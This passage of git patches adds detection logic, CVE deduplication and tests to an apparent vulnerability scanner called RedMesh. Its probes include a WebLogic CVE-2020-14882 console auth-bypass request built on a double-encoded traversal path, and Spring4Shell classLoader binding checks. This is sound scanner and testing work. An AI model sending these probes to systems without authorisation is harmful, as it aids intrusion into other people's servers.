CveEntry("bind", "<9.11.37", "CVE-2022-2795", Severity.MEDIUM, "Flooding targeted resolver with queries DoS", "CWE-400"), CveEntry("bind", "<9.16.33", "CVE-2022-3080", Severity.HIGH, "TKEY assertion failure DoS on DNAME resolution", "CWE-617"), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 05118c3d..7eb92fcb 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1469,6 +1469,52 @@ def parse_port(port_key): # D. Default credentials penalty credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + # Deduplicate CVE findings: when the same CVE appears on the same port + # from different probes (behavioral + version-based), keep the higher + # confidence detection and drop the duplicate. + import re as _re_dedup + CONFIDENCE_RANK = {"certain": 3, "firm": 2, "tentative": 1} + cve_best = {} # (cve_id, port) -> index of best finding + drop_indices = set() + for idx, f in enumerate(flat_findings): + title = f.get("title", "") + m = _re_dedup.search(r"CVE-\d{4}-\d+", title) + if not m: + continue + cve_id = m.group(0) + port = f.get("port", 0) + key = (cve_id, port) + conf = CONFIDENCE_RANK.get(f.get("confidence", "tentative"), 0) + if key in cve_best: + prev_idx = cve_best[key] + prev_conf = CONFIDENCE_RANK.get(flat_findings[prev_idx].get("confidence", "tentative"), 0) + if conf > prev_conf: + drop_indices.add(prev_idx) + cve_best[key] = idx + else: + drop_indices.add(idx) + else: + cve_best[key] = idx + + if drop_indices: + flat_findings = [f for i, f in enumerate(flat_findings) if i not in drop_indices] + # Recalculate scores after dedup + findings_score = 0.0 + finding_counts = {"CRITICAL": 0, "HIGH": 0, "MEDIUM": 0, "LOW": 0, "INFO": 0} + cred_count = 0 + for f in flat_findings: + severity = f.get("severity", "INFO").upper() + confidence = f.get("confidence", "firm").lower() + weight = RISK_SEVERITY_WEIGHTS.get(severity, 0) + multiplier = RISK_CONFIDENCE_MULTIPLIERS.get(confidence, 0.5) + findings_score += weight * multiplier + if severity in finding_counts: + finding_counts[severity] += 1 + title = f.get("title", "") + if isinstance(title, str) and "default credential accepted" in title.lower(): + cred_count += 1 + credentials_penalty = min(cred_count * RISK_CRED_PENALTY_PER, RISK_CRED_PENALTY_CAP) + raw_total = findings_score + open_ports_score + breadth_score + credentials_penalty score = int(round(100.0 * (2.0 / (1.0 + math.exp(-RISK_SIGMOID_K * raw_total)) - 1.0))) score = max(0, min(100, score)) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index 92a25a57..69f5d22b 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3195,13 +3195,13 @@ def test_open_ports_sorted_unique(self): self.assertEqual(result.to_dict()["total_open_ports"], [22, 80, 443]) def test_count_services(self): - """_count_services counts unique probe names across ports.""" + """_count_services counts ports with at least one detected service.""" plugin, _ = self._make_plugin() service_info = { "80": {"_service_info_http": {}, "_web_test_xss": {}}, "443": {"_service_info_https": {}, "_service_info_http": {}}, } - self.assertEqual(plugin._count_services(service_info), 3) + self.assertEqual(plugin._count_services(service_info), 2) self.assertEqual(plugin._count_services({}), 0) self.assertEqual(plugin._count_services(None), 0) @@ -7090,7 +7090,10 @@ def fake_get(url, **kwargs): resp.status_code = 200 resp.text = "App" resp.headers = {"Content-Type": "text/html"} - if "class.module.classLoader.DefaultAssertionStatus" in url: + if "class.INVALID_RM_CTRL" in url: + resp.status_code = 400 # Spring rejects bogus class path + resp.text = "Bad Request" + elif "class.module.classLoader.DefaultAssertionStatus" in url: resp.status_code = 200 # Spring accepted classLoader binding elif "class.module.classLoader.URLs" in url: resp.status_code = 400 # Type conversion error — binding attempted @@ -7116,6 +7119,245 @@ def fake_post(url, **kwargs): self.assertTrue(any("Spring4Shell" in t for t in titles), f"Should detect Spring4Shell via binding error. Got: {titles}") +class TestBatch5Improvements(unittest.TestCase): + """Tests for batch 5: Spring4Shell secondary gate, CVE dedup.""" + + def setUp(self): + if MANUAL_RUN: + print() + color_print(f"[MANUAL] >>> Starting <{self._testMethodName}>", color='b') + + def _build_worker(self, ports=None): + if ports is None: + ports = [80] + owner = DummyOwner() + worker = PentestLocalWorker( + owner=owner, + target="example.com", + job_id="job-batch5", + initiator="init@example", + local_id_prefix="1", + worker_target_ports=ports, + ) + worker.stop_event = MagicMock() + worker.stop_event.is_set.return_value = False + return owner, worker + + # ── Spring4Shell secondary gate ───────────────────────────────── + + def test_spring4shell_secondary_gate_detects_spring(self): + """Spring4Shell should be detected via URLs[0] secondary check when + DefaultAssertionStatus returns same 200 as control.""" + _, worker = self._build_worker(ports=[7108]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "App" + resp.headers = {"Content-Type": "text/html"} + # Both control and classLoader return 200 with same body (first gate can't distinguish) + if "class.INVALID_RM_CTRL.URLs" in url: + # Control URLs[0] → 200 (server ignores it) + resp.status_code = 200 + resp.text = "App" + elif "class.module.classLoader.URLs" in url: + # Spring binding error on URLs[0] → 400 + resp.status_code = 400 + resp.text = "Bad Request" + elif "class.INVALID_RM_CTRL" in url: + resp.status_code = 200 + resp.text = "App" + elif "class.module.classLoader.DefaultAssertionStatus" in url: + resp.status_code = 200 + resp.text = "App" + elif "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7108) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertTrue(any("Spring4Shell" in t for t in titles), + f"Should detect Spring4Shell via URLs[0] secondary gate. Got: {titles}") + # Check confidence is "firm" (not tentative) + spring4shell = [f for f in findings if "Spring4Shell" in f["title"]] + self.assertEqual(spring4shell[0]["confidence"], "firm") + + def test_spring4shell_secondary_gate_skips_catchall(self): + """Spring4Shell secondary gate should NOT flag catch-all servers + where both classLoader.URLs[0] and control.URLs[0] return 200.""" + _, worker = self._build_worker(ports=[7100]) + + def fake_get(url, **kwargs): + resp = MagicMock() + resp.ok = True + resp.status_code = 200 + resp.text = "Default page" + resp.headers = {"Content-Type": "text/html"} + # Catch-all: returns 200 for everything + if "/actuator" in url: + resp.status_code = 404 + resp.ok = False + resp.text = "" + return resp + + def fake_post(url, **kwargs): + resp = MagicMock() + resp.status_code = 404 + resp.text = "" + return resp + + with patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.get", side_effect=fake_get), \ + patch("extensions.business.cybersec.red_mesh.web_injection_mixin.requests.post", side_effect=fake_post): + result = worker._web_test_spring_actuator("1.2.3.4", 7100) + + findings = result.get("findings", []) + titles = [f["title"] for f in findings] + self.assertFalse(any("Spring4Shell" in t for t in titles), + f"Should NOT flag Spring4Shell on catch-all server. Got: {titles}") + + # ── CVE deduplication ─────────────────────────────────────────── + + def _get_plugin_class(self): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' not in sys.modules: + TestPhase1ConfigCID._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_cve_dedup_keeps_higher_confidence(self): + """Duplicate CVE on same port should be deduplicated, keeping higher confidence.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [7102], + "port_protocols": {"7102": "http"}, + "service_info": {}, + "web_tests_info": { + "7102": { + "_web_test_java_deserialization": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2017-10271: WebLogic deserialization endpoint /wls-wsat", + "confidence": "firm", + "cwe_id": "CWE-502", + }], + }, + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2017-10271: XMLDecoder deserialization RCE via wls-wsat (weblogic 10.3.6.0)", + "confidence": "tentative", + "cwe_id": "CWE-502", + }], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + cve_findings = [f for f in flat_findings if "CVE-2017-10271" in f.get("title", "")] + self.assertEqual(len(cve_findings), 1, f"Should have exactly 1 CVE-2017-10271, got {len(cve_findings)}") + self.assertEqual(cve_findings[0]["confidence"], "firm", "Should keep the 'firm' confidence finding") + + def test_cve_dedup_different_ports_kept(self): + """Same CVE on different ports should NOT be deduplicated.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [7102, 7103], + "port_protocols": {"7102": "http", "7103": "http"}, + "service_info": {}, + "web_tests_info": { + "7102": { + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 10.3.6.0)", + "confidence": "tentative", + "cwe_id": "CWE-306", + }], + }, + }, + "7103": { + "_web_test_java_servers": { + "findings": [{ + "severity": "CRITICAL", + "title": "CVE-2020-14882: Console unauthenticated takeover RCE (weblogic 12.2.1.3)", + "confidence": "tentative", + "cwe_id": "CWE-306", + }], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + cve_findings = [f for f in flat_findings if "CVE-2020-14882" in f.get("title", "")] + self.assertEqual(len(cve_findings), 2, f"Same CVE on different ports should both be kept, got {len(cve_findings)}") + + def test_cve_dedup_non_cve_not_affected(self): + """Non-CVE findings should not be affected by deduplication.""" + Plugin = self._get_plugin_class() + + aggregated = { + "open_ports": [80], + "port_protocols": {"80": "http"}, + "service_info": {}, + "web_tests_info": { + "80": { + "_web_test_security_headers": { + "findings": [ + {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, + {"severity": "MEDIUM", "title": "Missing security header: CSP", "confidence": "certain", "cwe_id": ""}, + ], + }, + }, + }, + } + + risk_result, flat_findings = Plugin._compute_risk_and_findings(None, aggregated) + + # Non-CVE duplicates are NOT deduplicated (that's a different issue) + csp_findings = [f for f in flat_findings if "CSP" in f.get("title", "")] + self.assertEqual(len(csp_findings), 2, "Non-CVE findings should not be deduplicated") + + # ── Jetty CVE database ───────────────────────────────────────── + + def test_jetty_cve_2023_36478_match(self): + """CVE-2023-36478 should match Jetty 9.4.31.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.31") + self.assertTrue(any("CVE-2023-36478" in f.title for f in findings)) + + def test_jetty_cve_2023_36478_patched(self): + """CVE-2023-36478 should NOT match Jetty 9.4.54.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.54") + self.assertFalse(any("CVE-2023-36478" in f.title for f in findings)) + + def test_jetty_all_cves_match(self): + """Jetty 9.4.31 should match all 4 Jetty CVEs.""" + from extensions.business.cybersec.red_mesh.cve_db import check_cves + findings = check_cves("jetty", "9.4.31") + cve_ids = {f.title.split(":")[0] for f in findings if "CVE-" in f.title} + expected = {"CVE-2023-26048", "CVE-2023-26049", "CVE-2023-36478", "CVE-2023-40167"} + self.assertEqual(cve_ids, expected, f"Should match all 4 Jetty CVEs, got {cve_ids}") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -7145,4 +7387,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch2GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch3GapFixes)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch4JavaGapFixes)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestBatch5Improvements)) runner.run(suite) diff --git a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py index f80c9f34..e2c50fc8 100644 --- a/extensions/business/cybersec/red_mesh/web_discovery_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_discovery_mixin.py @@ -888,6 +888,26 @@ def _web_test_java_servers(self, target, port): )) except Exception: pass + # CVE-2020-14882: Console authentication bypass via double-encoded path + try: + bypass_url = base_url + "/console/css/%252e%252e%252fconsole.portal" + resp = requests.get(bypass_url, timeout=4, verify=False, allow_redirects=False) + if resp.status_code == 200 and len(resp.text) > 500 and ( + "portal" in resp.text.lower() or "console" in resp.text.lower()): + findings_list.append(Finding( + severity=Severity.CRITICAL, + title="CVE-2020-14882: WebLogic console auth bypass confirmed", + description="WebLogic console authentication can be bypassed via " + "double-encoded path traversal, enabling unauthenticated " + "access to the admin console and RCE.", + evidence=f"GET {bypass_url} → 200 with console content.", + remediation="Upgrade WebLogic; restrict console access by IP.", + owasp_id="A01:2021", + cwe_id="CWE-306", + confidence="certain", + )) + except Exception: + pass return probe_result(raw_data=raw, findings=findings_list) # --- 2. Tomcat detection --- @@ -1096,6 +1116,43 @@ def _web_test_java_servers(self, target, port): remediation="Keep Struts2 updated; review OGNL injection mitigations.", confidence="firm", )) + # Advisory: flag critical Struts2 CVEs when version is unknown + findings_list.append(Finding( + severity=Severity.HIGH, + title="Struts2 detected — critical RCE CVEs likely applicable", + description="Apache Struts2 was detected but the version could not be " + "extracted. Most Struts2 versions are affected by at least one " + "critical OGNL injection RCE: CVE-2017-5638 (S2-045), " + "CVE-2017-9805 (S2-052), CVE-2020-17530 (S2-061). " + "Manual version verification recommended.", + evidence=f"Struts2 detected via {struts_evidence}, version unknown.", + remediation="Verify Struts2 version; upgrade to latest (>= 6.x). " + "Disable OGNL expression evaluation in user input.", + owasp_id="A06:2021", + cwe_id="CWE-94", + confidence="tentative", + )) + + # --- 6. Jetty detection (from Server header) --- + try: + resp = requests.get(base_url, timeout=3, verify=False) + srv = resp.headers.get("Server", "") + jetty_m = _re.search(r'[Jj]etty\(?(\d+\.\d+\.\d+)', srv) + if jetty_m: + jetty_version = jetty_m.group(1) + raw["java_server"] = raw.get("java_server") or "Jetty" + raw["version"] = raw.get("version") or jetty_version + findings_list.append(Finding( + severity=Severity.LOW, + title=f"Eclipse Jetty {jetty_version} detected", + description=f"Jetty {jetty_version} identified on {target}:{port} via Server header.", + evidence=f"Server: {srv}", + remediation="Keep Jetty updated; remove Server header in production.", + confidence="certain", + )) + findings_list += check_cves("jetty", jetty_version) + except Exception: + pass return probe_result(raw_data=raw, findings=findings_list) diff --git a/extensions/business/cybersec/red_mesh/web_injection_mixin.py b/extensions/business/cybersec/red_mesh/web_injection_mixin.py index 779abfe0..f5a77baa 100644 --- a/extensions/business/cybersec/red_mesh/web_injection_mixin.py +++ b/extensions/business/cybersec/red_mesh/web_injection_mixin.py @@ -949,16 +949,58 @@ def _web_test_spring_actuator(self, target, port): # --- 3. Spring4Shell indicator: check if class.module access is possible --- # Safe detection: send parameter that would trigger Spring4Shell but - # only look for error patterns, not actual exploitation + # only look for error patterns, not actual exploitation. + # Control-parameter comparison prevents false positives on servers + # with catch-all handlers (Struts2/Jetty, plain Tomcat, JBoss) that + # return 200 for any unknown parameter. try: - resp = requests.get( + # Control: send a bogus class path that no framework would bind + resp_control = requests.get( + base_url + "/?class.INVALID_RM_CTRL.x=1", + timeout=3, + verify=False, + ) + resp_cl = requests.get( base_url + "/?class.module.classLoader.DefaultAssertionStatus=true", timeout=3, verify=False, ) - # If this returns 200 (not 400), the classLoader parameter binding may work - if resp.status_code == 200: - # Double-check with a known-bad parameter + # If both return 200 with similar body length, server MAY ignore params. + # Use URLs[0] as secondary differentiator: Spring will 400/500 on URLs[0]=0 + # while a catch-all server returns 200 unchanged. + if (resp_control.status_code == 200 and resp_cl.status_code == 200 and + abs(len(resp_control.text) - len(resp_cl.text)) < 50): + # Secondary check: URLs[0] differentiates Spring from catch-all servers + resp_urls = requests.get( + base_url + "/?class.module.classLoader.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + resp_urls_ctrl = requests.get( + base_url + "/?class.INVALID_RM_CTRL.URLs%5B0%5D=0", + timeout=3, + verify=False, + ) + if (resp_urls.status_code in (400, 500) and + resp_urls_ctrl.status_code == 200): + # Spring tried to bind classLoader.URLs[0] and got a type error, + # while the control was ignored — confirms Spring binding + findings_list.append(Finding( + severity=Severity.HIGH, + title="Spring4Shell (CVE-2022-22965) parameter binding indicator", + description="Spring MVC processes class.module.classLoader parameter " + "binding (type error on URLs[0] vs ignored control), " + "confirming Spring4Shell attack surface.", + evidence=f"classLoader.URLs[0]=0 → {resp_urls.status_code}, " + f"control.URLs[0]=0 → {resp_urls_ctrl.status_code}.", + remediation="Upgrade Spring Framework to >= 5.3.18 or >= 5.2.20.", + owasp_id="A03:2021", + cwe_id="CWE-94", + confidence="firm", + )) + elif resp_cl.status_code == 200: + # Only classLoader accepted (or significantly different response) — + # proceed with URLs[0] check resp2 = requests.get( base_url + "/?class.module.classLoader.URLs%5B0%5D=0", timeout=3, From 70cd63ef441497a785d2ce7dcbbaa9da97dbfb1b Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 08:30:51 +0200 Subject: [PATCH 032/114] fix: use running env port for signaling plugin readiness --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 7eb92fcb..759be72d 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -183,8 +183,9 @@ def _setup_semaphore_env(self): """Set semaphore environment variables for paired plugins.""" super(PentesterApi01Plugin, self)._setup_semaphore_env() localhost_ip = self.log.get_localhost_ip() - port = self.cfg_port + port = self.port self.semaphore_set_env('HOST', localhost_ip) + # Legacy API-prefixed keys (backward compatibility) self.semaphore_set_env('API_HOST', localhost_ip) if port: self.semaphore_set_env('PORT', str(port)) From 3bfaceb50642f5a38ced87c8fff919606462eedf Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 09:58:04 +0000 Subject: [PATCH 033/114] feat: job hard stop --- .../cybersec/red_mesh/pentester_api_01.py | 72 ++++++++++++++++--- 1 file changed, 62 insertions(+), 10 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 759be72d..e70c8f60 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -166,6 +166,7 @@ def on_init(self): self._audit_log = [] # Structured audit event log self.__last_checked_jobs = 0 self._last_progress_publish = 0 # timestamp of last live progress publish + self._foreign_jobs_logged = set() # job IDs we already logged "no worker entry" for self.__warmupstart = self.time() self.__warmup_done = False # Defer readiness if waiting for semaphore dependencies (e.g., LLM Agent) @@ -646,7 +647,8 @@ def _get_worker_entry(self, job_id, job_spec): """ workers = job_spec.setdefault("workers", {}) worker_entry = workers.get(self.ee_addr) - if worker_entry is None: + if worker_entry is None and job_id not in self._foreign_jobs_logged: + self._foreign_jobs_logged.add(job_id) self.Pd("No worker entry found for this node in job spec job_id={}, workers={}".format( job_id, self.json_dumps(workers)), @@ -1209,6 +1211,39 @@ def _close_job(self, job_id, canceled=False): return + def _maybe_stop_canceled_jobs(self): + """ + Detect jobs stopped via API on another node and stop local workers. + + When a HARD stop is issued, only the node that receives the API call + stops its own workers. This method polls CStore for STOPPED status + on jobs that are still running locally, signals their workers to stop + so they save partial results, and lets ``_maybe_close_jobs`` handle + the cleanup once threads exit. + + Runs on the same interval as ``_maybe_launch_jobs`` to avoid excessive + CStore queries. + + Returns + ------- + None + """ + if not self.scan_jobs: + return + + for job_id in list(self.scan_jobs): + raw = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + if not raw: + continue + _, job_specs = self._normalize_job_record(job_id, raw) + job_status = job_specs.get("job_status") + if job_status == JOB_STATUS_STOPPED: + local_workers = self.scan_jobs.get(job_id, {}) + for local_worker_id, job in local_workers.items(): + if job.thread.is_alive() and not job.stop_event.is_set(): + self.P(f"Stopping local worker {local_worker_id} for job {job_id} (hard stop from CStore)") + job.stop() + def _maybe_close_jobs(self): """ Inspect running jobs and close those whose workers have finished. @@ -2877,16 +2912,16 @@ def get_audit_log(self, limit: int = 100): @BasePlugin.endpoint(method="post") def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): """ - Stop continuous monitoring for a job. + Stop a job (any run mode with HARD stop, continuous-only for SOFT stop). Parameters ---------- job_id : str - Identifier of the job to stop monitoring. + Identifier of the job to stop. stop_type : str, optional "SOFT" (default): Let current pass complete, then stop. - Sets job_status="SCHEDULED_FOR_STOP". - "HARD": Stop immediately. Sets job_status="STOPPED". + Sets job_status="SCHEDULED_FOR_STOP". Only valid for continuous monitoring. + "HARD": Stop immediately. Sets job_status="STOPPED". Works for any run mode. Returns ------- @@ -2898,18 +2933,33 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): return {"error": "Job not found", "job_id": job_id} _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - if job_specs.get("run_mode") != RUN_MODE_CONTINUOUS_MONITORING: - return {"error": "Job is not in CONTINUOUS_MONITORING mode", "job_id": job_id} - stop_type = str(stop_type).upper() + is_continuous = job_specs.get("run_mode") == RUN_MODE_CONTINUOUS_MONITORING + + if stop_type != "HARD" and not is_continuous: + return {"error": "SOFT stop is only supported for CONTINUOUS_MONITORING jobs", "job_id": job_id} + passes_completed = job_specs.get("job_pass", 1) if stop_type == "HARD": + # Stop local workers if running + local_workers = self.scan_jobs.get(job_id) + if local_workers: + for local_worker_id, job in local_workers.items(): + self.P(f"Stopping job {job_id} on local worker {local_worker_id}.") + job.stop() + self.scan_jobs.pop(job_id, None) + + # Mark worker as finished/canceled in CStore + worker_entry = job_specs.setdefault("workers", {}).setdefault(self.ee_addr, {}) + worker_entry["finished"] = True + worker_entry["canceled"] = True + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") - self.P(f"[CONTINUOUS] Hard stop for job {job_id} after {passes_completed} passes") + self.P(f"Hard stop for job {job_id} after {passes_completed} passes") else: - # SOFT stop - let current pass complete + # SOFT stop - let current pass complete (continuous monitoring only) job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") @@ -3396,6 +3446,8 @@ def process(self): self._maybe_launch_jobs() # Publish live progress for active scans self._publish_live_progress() + # Stop local workers for jobs that were stopped via API (multi-node propagation) + self._maybe_stop_canceled_jobs() # Check active jobs for completion self._maybe_close_jobs() # Finalize completed passes and handle continuous monitoring (launcher only) From 8c9bff5386a50a37173bd4108ea68af86d7d9657 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 10:05:48 +0000 Subject: [PATCH 034/114] fix: job stop --- extensions/business/cybersec/red_mesh/pentester_api_01.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index e70c8f60..3ab9e553 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1810,7 +1810,9 @@ def _maybe_finalize_pass(self): # Skip jobs that are already finalized or stopped if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry - if not job_specs.get("job_cid"): + # But only if there are pass reports to build from (hard-stopped jobs + # that never completed a pass have nothing to archive) + if not job_specs.get("job_cid") and pass_reports: self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') self._build_job_archive(job_id, job_specs) continue From 3903afc5aab8700ecea1b30af1dd3cd4b135bcd6 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 10:42:12 +0000 Subject: [PATCH 035/114] fix: PoT --- .../cybersec/red_mesh/pentester_api_01.py | 31 +++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 3ab9e553..2727fa05 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -1890,7 +1890,7 @@ def _maybe_finalize_pass(self): self.P(f"Failed to store aggregated report for pass {job_pass} in R1FS", color='r') continue # skip pass finalization, retry next loop - # 7. ATTESTATION (best-effort, must not block finalization) + # 7. ATTESTATION — compute but don't emit timeline yet (inserted at correct point below) redmesh_test_attestation = None should_submit_attestation = True if run_mode == RUN_MODE_CONTINUOUS_MONITORING: @@ -1962,6 +1962,13 @@ def _maybe_finalize_pass(self): if run_mode == RUN_MODE_SINGLEPASS: job_specs["job_status"] = JOB_STATUS_FINALIZED self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-finished attestation submitted", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") self._build_job_archive(job_key, job_specs) @@ -1974,13 +1981,27 @@ def _maybe_finalize_pass(self): if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") self._build_job_archive(job_key, job_specs) self._clear_live_progress(job_id, list(workers.keys())) continue - # Schedule next pass + # Schedule next pass — attestation event goes with pass_completed + if redmesh_test_attestation is not None: + self._emit_timeline_event( + job_specs, "blockchain_submit", + f"Test attestation submitted (pass {job_pass})", + actor_type="system", + meta={**redmesh_test_attestation, "network": "base-sepolia"} + ) interval = job_config.get("monitor_interval", self.cfg_monitor_interval) jitter = random.uniform(0, self.cfg_monitor_jitter) job_specs["next_pass_at"] = self.time() + interval + jitter @@ -2443,6 +2464,12 @@ def launch_test( ) if redmesh_job_start_attestation is not None: job_specs["redmesh_job_start_attestation"] = redmesh_job_start_attestation + self._emit_timeline_event( + job_specs, "blockchain_submit", + "Job-start attestation submitted", + actor_type="system", + meta={**redmesh_job_start_attestation, "network": "base-sepolia"} + ) except Exception as exc: import traceback self.P( From 55b4e5e462595590686ece97cb3f4f190b3f6d6b Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 9 Mar 2026 11:27:21 +0000 Subject: [PATCH 036/114] feat: add scanner nodes ips to the report --- .../cybersec/red_mesh/models/archive.py | 2 ++ .../cybersec/red_mesh/pentester_api_01.py | 24 +++++++++++++++++-- .../red_mesh/redmesh_llm_agent_mixin.py | 8 +++---- 3 files changed, 28 insertions(+), 6 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 22533e14..dea346f2 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -95,6 +95,7 @@ class WorkerReportMeta: ports_scanned: int = 0 open_ports: list = None # [int] nr_findings: int = 0 + node_ip: str = "" # worker node's IP address def to_dict(self) -> dict: d = asdict(self) @@ -111,6 +112,7 @@ def from_dict(cls, d: dict) -> WorkerReportMeta: ports_scanned=d.get("ports_scanned", 0), open_ports=d.get("open_ports", []), nr_findings=d.get("nr_findings", 0), + node_ip=d.get("node_ip", ""), ) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 2727fa05..f76101f3 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -344,7 +344,7 @@ def _attestation_pack_node_hashes(self, workers: dict) -> str: return digest return "0x" + str(digest) - def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0): + def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers: dict, vulnerability_score=0, node_ips=None): self.P(f"[ATTESTATION] Test attestation requested for job {job_id} (score={vulnerability_score})") if not self.cfg_attestation_enabled: self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') @@ -396,6 +396,12 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers tx_private_key=tenant_private_key, ) + # Obfuscate node IPs for attestation metadata + obfuscated_node_ips = [] + if node_ips: + for ip in node_ips: + obfuscated_node_ips.append(self._attestation_pack_ip_obfuscated(ip)) + result = { "job_id": job_id, "tx_hash": tx_hash, @@ -405,6 +411,7 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers "execution_id": execution_id, "report_cid": report_cid, "node_eth_address": node_eth_address, + "node_ips_obfuscated": obfuscated_node_ips, } self.P( "Submitted RedMesh test attestation for " @@ -1157,6 +1164,12 @@ def _close_job(self, job_id, canceled=False): # Save full report to R1FS and store only CID in CStore if report: + # Stamp report with 